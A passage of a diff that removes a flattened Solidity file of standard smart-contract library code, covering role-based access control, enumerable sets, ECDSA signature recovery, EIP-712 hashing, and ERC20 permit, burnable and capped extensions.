- * }
- * ```
- *
- * Roles can be granted and revoked dynamically via the {grantRole} and
- * {revokeRole} functions. Each role has an associated admin role, and only
- * accounts that have a role's admin role can call {grantRole} and {revokeRole}.
- *
- * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
- * that only accounts with this role will be able to grant or revoke other
- * roles. More complex role relationships can be created by using
- * {_setRoleAdmin}.
- *
- * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
- * grant and revoke this role. Extra precautions should be taken to secure
- * accounts that have been granted it.
- */
-abstract contract AccessControl is Context, IAccessControl, ERC165 {
-    struct RoleData {
-        mapping (address => bool) members;
-        bytes32 adminRole;
-    }
-
-    mapping (bytes32 => RoleData) private _roles;
-
-    bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
-
-    /**
-     * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
-     *
-     * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
-     * {RoleAdminChanged} not being emitted signaling this.
-     *
-     * _Available since v3.1._
-     */
-    event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
-
-    /**
-     * @dev Emitted when `account` is granted `role`.
-     *
-     * `sender` is the account that originated the contract call, an admin role
-     * bearer except when using {_setupRole}.
-     */
-    event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
-
-    /**
-     * @dev Emitted when `account` is revoked `role`.
-     *
-     * `sender` is the account that originated the contract call:
-     *   - if using `revokeRole`, it is the admin role bearer
-     *   - if using `renounceRole`, it is the role bearer (i.e. `account`)
-     */
-    event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
-
-    /**
-     * @dev Modifier that checks that an account has a specific role. Reverts
-     * with a standardized message including the required role.
-     *
-     * The format of the revert reason is given by the following regular expression:
-     *
-     *  /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
-     *
-     * _Available since v4.1._
-     */
-    modifier onlyRole(bytes32 role) {
-        _checkRole(role, _msgSender());
-        _;
-    }
-
-    /**
-     * @dev See {IERC165-supportsInterface}.
-     */
-    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
-        return interfaceId == type(IAccessControl).interfaceId
-            || super.supportsInterface(interfaceId);
-    }
-
-    /**
-     * @dev Returns `true` if `account` has been granted `role`.
-     */
-    function hasRole(bytes32 role, address account) public view override returns (bool) {
-        return _roles[role].members[account];
-    }
-
-    /**
-     * @dev Revert with a standard message if `account` is missing `role`.
-     *
-     * The format of the revert reason is given by the following regular expression:
-     *
-     *  /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
-     */
-    function _checkRole(bytes32 role, address account) internal view {
-        if(!hasRole(role, account)) {
-            revert(string(abi.encodePacked(
-                "AccessControl: account ",
-                Strings.toHexString(uint160(account), 20),
-                " is missing role ",
-                Strings.toHexString(uint256(role), 32)
-            )));
-        }
-    }
-
-    /**
-     * @dev Returns the admin role that controls `role`. See {grantRole} and
-     * {revokeRole}.
-     *
-     * To change a role's admin, use {_setRoleAdmin}.
-     */
-    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
-        return _roles[role].adminRole;
-    }
-
-    /**
-     * @dev Grants `role` to `account`.
-     *
-     * If `account` had not been already granted `role`, emits a {RoleGranted}
-     * event.
-     *
-     * Requirements:
-     *
-     * - the caller must have ``role``'s admin role.
-     */
-    function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
-        _grantRole(role, account);
-    }
-
-    /**
-     * @dev Revokes `role` from `account`.
-     *
-     * If `account` had been granted `role`, emits a {RoleRevoked} event.
-     *
-     * Requirements:
-     *
-     * - the caller must have ``role``'s admin role.
-     */
-    function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
-        _revokeRole(role, account);
-    }
-
-    /**
-     * @dev Revokes `role` from the calling account.
-     *
-     * Roles are often managed via {grantRole} and {revokeRole}: this function's
-     * purpose is to provide a mechanism for accounts to lose their privileges
-     * if they are compromised (such as when a trusted device is misplaced).
-     *
-     * If the calling account had been granted `role`, emits a {RoleRevoked}
-     * event.
-     *
-     * Requirements:
-     *
-     * - the caller must be `account`.
-     */
-    function renounceRole(bytes32 role, address account) public virtual override {
-        require(account == _msgSender(), "AccessControl: can only renounce roles for self");
-
-        _revokeRole(role, account);
-    }
-
-    /**
-     * @dev Grants `role` to `account`.
-     *
-     * If `account` had not been already granted `role`, emits a {RoleGranted}
-     * event. Note that unlike {grantRole}, this function doesn't perform any
-     * checks on the calling account.
-     *
-     * [WARNING]
-     * ====
-     * This function should only be called from the constructor when setting
-     * up the initial roles for the system.
-     *
-     * Using this function in any other way is effectively circumventing the admin
-     * system imposed by {AccessControl}.
-     * ====
-     */
-    function _setupRole(bytes32 role, address account) internal virtual {
-        _grantRole(role, account);
-    }
-
-    /**
-     * @dev Sets `adminRole` as ``role``'s admin role.
-     *
-     * Emits a {RoleAdminChanged} event.
-     */
-    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
-        emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
-        _roles[role].adminRole = adminRole;
-    }
-
-    function _grantRole(bytes32 role, address account) private {
-        if (!hasRole(role, account)) {
-            _roles[role].members[account] = true;
-            emit RoleGranted(role, account, _msgSender());
-        }
-    }
-
-    function _revokeRole(bytes32 role, address account) private {
-        if (hasRole(role, account)) {
-            _roles[role].members[account] = false;
-            emit RoleRevoked(role, account, _msgSender());
-        }
-    }
-}
-
-
-// File contracts/utils/EnumerableSet.sol
-
-/**
- * @dev Library for managing
- * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
- * types.
- *
- * Sets have the following properties:
- *
- * - Elements are added, removed, and checked for existence in constant time
- * (O(1)).
- * - Elements are enumerated in O(n). No guarantees are made on the ordering.
- *
- * ```
- * contract Example {
- *     // Add the library methods
- *     using EnumerableSet for EnumerableSet.AddressSet;
- *
- *     // Declare a set state variable
- *     EnumerableSet.AddressSet private mySet;
- * }
- * ```
- *
- * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
- * and `uint256` (`UintSet`) are supported.
- */
-library EnumerableSet {
-    // To implement this library for multiple types with as little code
-    // repetition as possible, we write it in terms of a generic Set type with
-    // bytes32 values.
-    // The Set implementation uses private functions, and user-facing
-    // implementations (such as AddressSet) are just wrappers around the
-    // underlying Set.
-    // This means that we can only create new EnumerableSets for types that fit
-    // in bytes32.
-
-    struct Set {
-        // Storage of set values
-        bytes32[] _values;
-
-        // Position of the value in the `values` array, plus 1 because index 0
-        // means a value is not in the set.
-        mapping (bytes32 => uint256) _indexes;
-    }
-
-    /**
-     * @dev Add a value to a set. O(1).
-     *
-     * Returns true if the value was added to the set, that is if it was not
-     * already present.
-     */
-    function _add(Set storage set, bytes32 value) private returns (bool) {
-        if (!_contains(set, value)) {
-            set._values.push(value);
-            // The value is stored at length-1, but we add 1 to all indexes
-            // and use 0 as a sentinel value
-            set._indexes[value] = set._values.length;
-            return true;
-        } else {
-            return false;
-        }
-    }
-
-    /**
-     * @dev Removes a value from a set. O(1).
-     *
-     * Returns true if the value was removed from the set, that is if it was
-     * present.
-     */
-    function _remove(Set storage set, bytes32 value) private returns (bool) {
-        // We read and store the value's index to prevent multiple reads from the same storage slot
-        uint256 valueIndex = set._indexes[value];
-
-        if (valueIndex != 0) { // Equivalent to contains(set, value)
-            // To delete an element from the _values array in O(1), we swap the element to delete with the last one in
-            // the array, and then remove the last element (sometimes called as 'swap and pop').
-            // This modifies the order of the array, as noted in {at}.
-
-            uint256 toDeleteIndex = valueIndex - 1;
-            uint256 lastIndex = set._values.length - 1;
-
-            if (lastIndex != toDeleteIndex) {
-                bytes32 lastvalue = set._values[lastIndex];
-
-                // Move the last value to the index where the value to delete is
-                set._values[toDeleteIndex] = lastvalue;
-                // Update the index for the moved value
-                set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
-            }
-
-            // Delete the slot where the moved value was stored
-            set._values.pop();
-
-            // Delete the index for the deleted slot
-            delete set._indexes[value];
-
-            return true;
-        } else {
-            return false;
-        }
-    }
-
-    /**
-     * @dev Returns true if the value is in the set. O(1).
-     */
-    function _contains(Set storage set, bytes32 value) private view returns (bool) {
-        return set._indexes[value] != 0;
-    }
-
-    /**
-     * @dev Returns the number of values on the set. O(1).
-     */
-    function _length(Set storage set) private view returns (uint256) {
-        return set._values.length;
-    }
-
-   /**
-    * @dev Returns the value stored at position `index` in the set. O(1).
-    *
-    * Note that there are no guarantees on the ordering of values inside the
-    * array, and it may change when more values are added or removed.
-    *
-    * Requirements:
-    *
-    * - `index` must be strictly less than {length}.
-    */
-    function _at(Set storage set, uint256 index) private view returns (bytes32) {
-        return set._values[index];
-    }
-
-    // Bytes32Set
-
-    struct Bytes32Set {
-        Set _inner;
-    }
-
-    /**
-     * @dev Add a value to a set. O(1).
-     *
-     * Returns true if the value was added to the set, that is if it was not
-     * already present.
-     */
-    function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
-        return _add(set._inner, value);
-    }
-
-    /**
-     * @dev Removes a value from a set. O(1).
-     *
-     * Returns true if the value was removed from the set, that is if it was
-     * present.
-     */
-    function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
-        return _remove(set._inner, value);
-    }
-
-    /**
-     * @dev Returns true if the value is in the set. O(1).
-     */
-    function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
-        return _contains(set._inner, value);
-    }
-
-    /**
-     * @dev Returns the number of values in the set. O(1).
-     */
-    function length(Bytes32Set storage set) internal view returns (uint256) {
-        return _length(set._inner);
-    }
-
-   /**
-    * @dev Returns the value stored at position `index` in the set. O(1).
-    *
-    * Note that there are no guarantees on the ordering of values inside the
-    * array, and it may change when more values are added or removed.
-    *
-    * Requirements:
-    *
-    * - `index` must be strictly less than {length}.
-    */
-    function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
-        return _at(set._inner, index);
-    }
-
-    // AddressSet
-
-    struct AddressSet {
-        Set _inner;
-    }
-
-    /**
-     * @dev Add a value to a set. O(1).
-     *
-     * Returns true if the value was added to the set, that is if it was not
-     * already present.
-     */
-    function add(AddressSet storage set, address value) internal returns (bool) {
-        return _add(set._inner, bytes32(uint256(uint160(value))));
-    }
-
-    /**
-     * @dev Removes a value from a set. O(1).
-     *
-     * Returns true if the value was removed from the set, that is if it was
-     * present.
-     */
-    function remove(AddressSet storage set, address value) internal returns (bool) {
-        return _remove(set._inner, bytes32(uint256(uint160(value))));
-    }
-
-    /**
-     * @dev Returns true if the value is in the set. O(1).
-     */
-    function contains(AddressSet storage set, address value) internal view returns (bool) {
-        return _contains(set._inner, bytes32(uint256(uint160(value))));
-    }
-
-    /**
-     * @dev Returns the number of values in the set. O(1).
-     */
-    function length(AddressSet storage set) internal view returns (uint256) {
-        return _length(set._inner);
-    }
-
-   /**
-    * @dev Returns the value stored at position `index` in the set. O(1).
-    *
-    * Note that there are no guarantees on the ordering of values inside the
-    * array, and it may change when more values are added or removed.
-    *
-    * Requirements:
-    *
-    * - `index` must be strictly less than {length}.
-    */
-    function at(AddressSet storage set, uint256 index) internal view returns (address) {
-        return address(uint160(uint256(_at(set._inner, index))));
-    }
-
-
-    // UintSet
-
-    struct UintSet {
-        Set _inner;
-    }
-
-    /**
-     * @dev Add a value to a set. O(1).
-     *
-     * Returns true if the value was added to the set, that is if it was not
-     * already present.
-     */
-    function add(UintSet storage set, uint256 value) internal returns (bool) {
-        return _add(set._inner, bytes32(value));
-    }
-
-    /**
-     * @dev Removes a value from a set. O(1).
-     *
-     * Returns true if the value was removed from the set, that is if it was
-     * present.
-     */
-    function remove(UintSet storage set, uint256 value) internal returns (bool) {
-        return _remove(set._inner, bytes32(value));
-    }
-
-    /**
-     * @dev Returns true if the value is in the set. O(1).
-     */
-    function contains(UintSet storage set, uint256 value) internal view returns (bool) {
-        return _contains(set._inner, bytes32(value));
-    }
-
-    /**
-     * @dev Returns the number of values on the set. O(1).
-     */
-    function length(UintSet storage set) internal view returns (uint256) {
-        return _length(set._inner);
-    }
-
-   /**
-    * @dev Returns the value stored at position `index` in the set. O(1).
-    *
-    * Note that there are no guarantees on the ordering of values inside the
-    * array, and it may change when more values are added or removed.
-    *
-    * Requirements:
-    *
-    * - `index` must be strictly less than {length}.
-    */
-    function at(UintSet storage set, uint256 index) internal view returns (uint256) {
-        return uint256(_at(set._inner, index));
-    }
-}
-
-
-// File contracts/extensions/AccessControlEnumerable.sol
-
-
-
-
-
-
-/**
- * @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
- */
-interface IAccessControlEnumerable {
-    function getRoleMember(bytes32 role, uint256 index) external view returns (address);
-    function getRoleMemberCount(bytes32 role) external view returns (uint256);
-}
-
-/**
- * @dev Extension of {AccessControl} that allows enumerating the members of each role.
- */
-abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
-    using EnumerableSet for EnumerableSet.AddressSet;
-
-    mapping (bytes32 => EnumerableSet.AddressSet) private _roleMembers;
-
-    /**
-     * @dev See {IERC165-supportsInterface}.
-     */
-    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
-        return interfaceId == type(IAccessControlEnumerable).interfaceId
-            || super.supportsInterface(interfaceId);
-    }
-
-    /**
-     * @dev Returns one of the accounts that have `role`. `index` must be a
-     * value between 0 and {getRoleMemberCount}, non-inclusive.
-     *
-     * Role bearers are not sorted in any particular way, and their ordering may
-     * change at any point.
-     *
-     * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
-     * you perform all queries on the same block. See the following
-     * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
-     * for more information.
-     */
-    function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
-        return _roleMembers[role].at(index);
-    }
-
-    /**
-     * @dev Returns the number of accounts that have `role`. Can be used
-     * together with {getRoleMember} to enumerate all bearers of a role.
-     */
-    function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
-        return _roleMembers[role].length();
-    }
-
-    /**
-     * @dev Overload {grantRole} to track enumerable memberships
-     */
-    function grantRole(bytes32 role, address account) public virtual override {
-        super.grantRole(role, account);
-        _roleMembers[role].add(account);
-    }
-
-    /**
-     * @dev Overload {revokeRole} to track enumerable memberships
-     */
-    function revokeRole(bytes32 role, address account) public virtual override {
-        super.revokeRole(role, account);
-        _roleMembers[role].remove(account);
-    }
-
-    /**
-     * @dev Overload {renounceRole} to track enumerable memberships
-     */
-    function renounceRole(bytes32 role, address account) public virtual override {
-        super.renounceRole(role, account);
-        _roleMembers[role].remove(account);
-    }
-
-    /**
-     * @dev Overload {_setupRole} to track enumerable memberships
-     */
-    function _setupRole(bytes32 role, address account) internal virtual override {
-        super._setupRole(role, account);
-        _roleMembers[role].add(account);
-    }
-}
-
-
-// File contracts/extensions/draft-IERC20Permit.sol
-
-/**
- * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
- * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
- *
- * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
- * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
- * need to send a transaction, and thus is not required to hold Ether at all.
- */
-interface IERC20Permit {
-    /**
-     * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
-     * given ``owner``'s signed approval.
-     *
-     * IMPORTANT: The same issues {IERC20-approve} has related to transaction
-     * ordering also apply here.
-     *
-     * Emits an {Approval} event.
-     *
-     * Requirements:
-     *
-     * - `spender` cannot be the zero address.
-     * - `deadline` must be a timestamp in the future.
-     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
-     * over the EIP712-formatted function arguments.
-     * - the signature must use ``owner``'s current nonce (see {nonces}).
-     *
-     * For more information on the signature format, see the
-     * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
-     * section].
-     */
-    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
-
-    /**
-     * @dev Returns the current nonce for `owner`. This value must be
-     * included whenever a signature is generated for {permit}.
-     *
-     * Every successful call to {permit} increases ``owner``'s nonce by one. This
-     * prevents a signature from being used multiple times.
-     */
-    function nonces(address owner) external view returns (uint256);
-
-    /**
-     * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
-     */
-    // solhint-disable-next-line func-name-mixedcase
-    function DOMAIN_SEPARATOR() external view returns (bytes32);
-}
-
-
-// File contracts/utils/cryptography/ECDSA.sol
-
-
-
-
-
-/**
- * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
- *
- * These functions can be used to verify that a message was signed by the holder
- * of the private keys of a given address.
- */
-library ECDSA {
-    /**
-     * @dev Returns the address that signed a hashed message (`hash`) with
-     * `signature`. This address can then be used for verification purposes.
-     *
-     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
-     * this function rejects them by requiring the `s` value to be in the lower
-     * half order, and the `v` value to be either 27 or 28.
-     *
-     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
-     * verification to be secure: it is possible to craft signatures that
-     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
-     * this is by receiving a hash of the original message (which may otherwise
-     * be too long), and then calling {toEthSignedMessageHash} on it.
-     *
-     * Documentation for signature generation:
-     * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
-     * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
-     */
-    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
-        // Divide the signature in r, s and v variables
-        bytes32 r;
-        bytes32 s;
-        uint8 v;
-
-        // Check the signature length
-        // - case 65: r,s,v signature (standard)
-        // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
-        if (signature.length == 65) {
-            // ecrecover takes the signature parameters, and the only way to get them
-            // currently is to use assembly.
-            // solhint-disable-next-line no-inline-assembly
-            assembly {
-                r := mload(add(signature, 0x20))
-                s := mload(add(signature, 0x40))
-                v := byte(0, mload(add(signature, 0x60)))
-            }
-        } else if (signature.length == 64) {
-            // ecrecover takes the signature parameters, and the only way to get them
-            // currently is to use assembly.
-            // solhint-disable-next-line no-inline-assembly
-            assembly {
-                let vs := mload(add(signature, 0x40))
-                r := mload(add(signature, 0x20))
-                s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
-                v := add(shr(255, vs), 27)
-            }
-        } else {
-            revert("ECDSA: invalid signature length");
-        }
-
-        return recover(hash, v, r, s);
-    }
-
-    /**
-     * @dev Overload of {ECDSA-recover} that receives the `v`,
-     * `r` and `s` signature fields separately.
-     */
-    function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
-        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
-        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
-        // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
-        // signatures from current libraries generate a unique signature with an s-value in the lower half order.
-        //
-        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
-        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
-        // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
-        // these malleable signatures as well.
-        require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
-        require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
-
-        // If the signature is valid (and not malleable), return the signer address
-        address signer = ecrecover(hash, v, r, s);
-        require(signer != address(0), "ECDSA: invalid signature");
-
-        return signer;
-    }
-
-    /**
-     * @dev Returns an Ethereum Signed Message, created from a `hash`. This
-     * produces hash corresponding to the one signed with the
-     * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
-     * JSON-RPC method as part of EIP-191.
-     *
-     * See {recover}.
-     */
-    function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
-        // 32 is the length in bytes of hash,
-        // enforced by the type signature above
-        return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
-    }
-
-    /**
-     * @dev Returns an Ethereum Signed Typed Data, created from a
-     * `domainSeparator` and a `structHash`. This produces hash corresponding
-     * to the one signed with the
-     * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
-     * JSON-RPC method as part of EIP-712.
-     *
-     * See {recover}.
-     */
-    function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
-        return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
-    }
-}
-
-
-// File contracts/utils/cryptography/draft-EIP712.sol
-
-
-
-
-
-/**
- * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
- *
- * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
- * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
- * they need in their contracts using a combination of `abi.encode` and `keccak256`.
- *
- * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
- * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
- * ({_hashTypedDataV4}).
- *
- * The implementation of the domain separator was designed to be as efficient as possible while still properly updating
- * the chain id to protect against replay attacks on an eventual fork of the chain.
- *
- * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
- * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
- *
- * _Available since v3.4._
- */
-abstract contract EIP712 {
-    /* solhint-disable var-name-mixedcase */
-    // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
-    // invalidate the cached domain separator if the chain id changes.
-    bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
-    uint256 private immutable _CACHED_CHAIN_ID;
-
-    bytes32 private immutable _HASHED_NAME;
-    bytes32 private immutable _HASHED_VERSION;
-    bytes32 private immutable _TYPE_HASH;
-    /* solhint-enable var-name-mixedcase */
-
-    /**
-     * @dev Initializes the domain separator and parameter caches.
-     *
-     * The meaning of `name` and `version` is specified in
-     * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
-     *
-     * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
-     * - `version`: the current major version of the signing domain.
-     *
-     * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
-     * contract upgrade].
-     */
-    constructor(string memory name, string memory version) {
-        bytes32 hashedName = keccak256(bytes(name));
-        bytes32 hashedVersion = keccak256(bytes(version));
-        bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
-        _HASHED_NAME = hashedName;
-        _HASHED_VERSION = hashedVersion;
-        _CACHED_CHAIN_ID = block.chainid;
-        _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
-        _TYPE_HASH = typeHash;
-    }
-
-    /**
-     * @dev Returns the domain separator for the current chain.
-     */
-    function _domainSeparatorV4() internal view returns (bytes32) {
-        if (block.chainid == _CACHED_CHAIN_ID) {
-            return _CACHED_DOMAIN_SEPARATOR;
-        } else {
-            return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
-        }
-    }
-
-    function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) {
-        return keccak256(
-            abi.encode(
-                typeHash,
-                name,
-                version,
-                block.chainid,
-                address(this)
-            )
-        );
-    }
-
-    /**
-     * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
-     * function returns the hash of the fully encoded EIP712 message for this domain.
-     *
-     * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
-     *
-     * ```solidity
-     * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
-     *     keccak256("Mail(address to,string contents)"),
-     *     mailTo,
-     *     keccak256(bytes(mailContents))
-     * )));
-     * address signer = ECDSA.recover(digest, signature);
-     * ```
-     */
-    function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
-        return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
-    }
-}
-
-
-// File contracts/utils/Counters.sol
-
-
-
-
-
-/**
- * @title Counters
- * @author Matt Condon (@shrugs)
- * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
- * of elements in a mapping, issuing ERC721 ids, or counting request ids.
- *
- * Include with `using Counters for Counters.Counter;`
- */
-library Counters {
-    struct Counter {
-        // This variable should never be directly accessed by users of the library: interactions must be restricted to
-        // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
-        // this feature: see https://github.com/ethereum/solidity/issues/4637
-        uint256 _value; // default: 0
-    }
-
-    function current(Counter storage counter) internal view returns (uint256) {
-        return counter._value;
-    }
-
-    function increment(Counter storage counter) internal {
-        unchecked {
-            counter._value += 1;
-        }
-    }
-
-    function decrement(Counter storage counter) internal {
-        uint256 value = counter._value;
-        require(value > 0, "Counter: decrement overflow");
-        unchecked {
-            counter._value = value - 1;
-        }
-    }
-
-    function reset(Counter storage counter) internal {
-        counter._value = 0;
-    }
-}
-
-
-// File contracts/extensions/draft-ERC20Permit.sol
-
-
-
-
-
-
-
-
-
-/**
- * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
- * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
- *
- * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
- * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
- * need to send a transaction, and thus is not required to hold Ether at all.
- *
- * _Available since v3.4._
- */
-abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
-    using Counters for Counters.Counter;
-
-    mapping (address => Counters.Counter) private _nonces;
-
-    // solhint-disable-next-line var-name-mixedcase
-    bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
-
-    /**
-     * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
-     *
-     * It's a good idea to use the same `name` that is defined as the ERC20 token name.
-     */
-    constructor(string memory name) EIP712(name, "1") {
-    }
-
-    /**
-     * @dev See {IERC20Permit-permit}.
-     */
-    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override {
-        // solhint-disable-next-line not-rely-on-time
-        require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
-
-        bytes32 structHash = keccak256(
-            abi.encode(
-                _PERMIT_TYPEHASH,
-                owner,
-                spender,
-                value,
-                _useNonce(owner),
-                deadline
-            )
-        );
-
-        bytes32 hash = _hashTypedDataV4(structHash);
-
-        address signer = ECDSA.recover(hash, v, r, s);
-        require(signer == owner, "ERC20Permit: invalid signature");
-
-        _approve(owner, spender, value);
-    }
-
-    /**
-     * @dev See {IERC20Permit-nonces}.
-     */
-    function nonces(address owner) public view virtual override returns (uint256) {
-        return _nonces[owner].current();
-    }
-
-    /**
-     * @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
-     */
-    // solhint-disable-next-line func-name-mixedcase
-    function DOMAIN_SEPARATOR() external view override returns (bytes32) {
-        return _domainSeparatorV4();
-    }
-
-    /**
-     * @dev "Consume a nonce": return the current value and increment.
-     *
-     * _Available since v4.1._
-     */
-    function _useNonce(address owner) internal virtual returns (uint256 current) {
-        Counters.Counter storage nonce = _nonces[owner];
-        current = nonce.current();
-        nonce.increment();
-    }
-}
-
-
-// File contracts/extensions/ERC20Burnable.sol
-
-
-
-
-
-
-/**
- * @dev Extension of {ERC20} that allows token holders to destroy both their own
- * tokens and those that they have an allowance for, in a way that can be
- * recognized off-chain (via event analysis).
- */
-abstract contract ERC20Burnable is Context, ERC20 {
-    /**
-     * @dev Destroys `amount` tokens from the caller.
-     *
-     * See {ERC20-_burn}.
-     */
-    function burn(uint256 amount) public virtual {
-        _burn(_msgSender(), amount);
-    }
-
-    /**
-     * @dev Destroys `amount` tokens from `account`, deducting from the caller's
-     * allowance.
-     *
-     * See {ERC20-_burn} and {ERC20-allowance}.
-     *
-     * Requirements:
-     *
-     * - the caller must have allowance for ``accounts``'s tokens of at least
-     * `amount`.
-     */
-    function burnFrom(address account, uint256 amount) public virtual {
-        uint256 currentAllowance = allowance(account, _msgSender());
-        require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
-        unchecked {
-            _approve(account, _msgSender(), currentAllowance - amount);
-        }
-        _burn(account, amount);
-    }
-}
-
-
-// File contracts/extensions/ERC20Capped.sol
-
-
-
-
-
-/**
- * @dev Extension of {ERC20} that adds a cap to the supply of tokens.
- */
-abstract contract ERC20Capped is ERC20 {
-    uint256 immutable private _cap;
-
-    /**
-     * @dev Sets the value of the `cap`. This value is immutable, it can only be
-     * set once during construction.
-     */
-    constructor (uint256 cap_) {
-        require(cap_ > 0, "ERC20Capped: cap is 0");
-        _cap = cap_;
-    }
-
-    /**
-     * @dev Returns the cap on the token's total supply.
-     */
-    function cap() public view virtual returns (uint256) {
-        return _cap;
-    }
-
-    /**
-     * @dev See {ERC20-_mint}.
-     */
-    function _mint(address account, uint256 amount) internal virtual override {
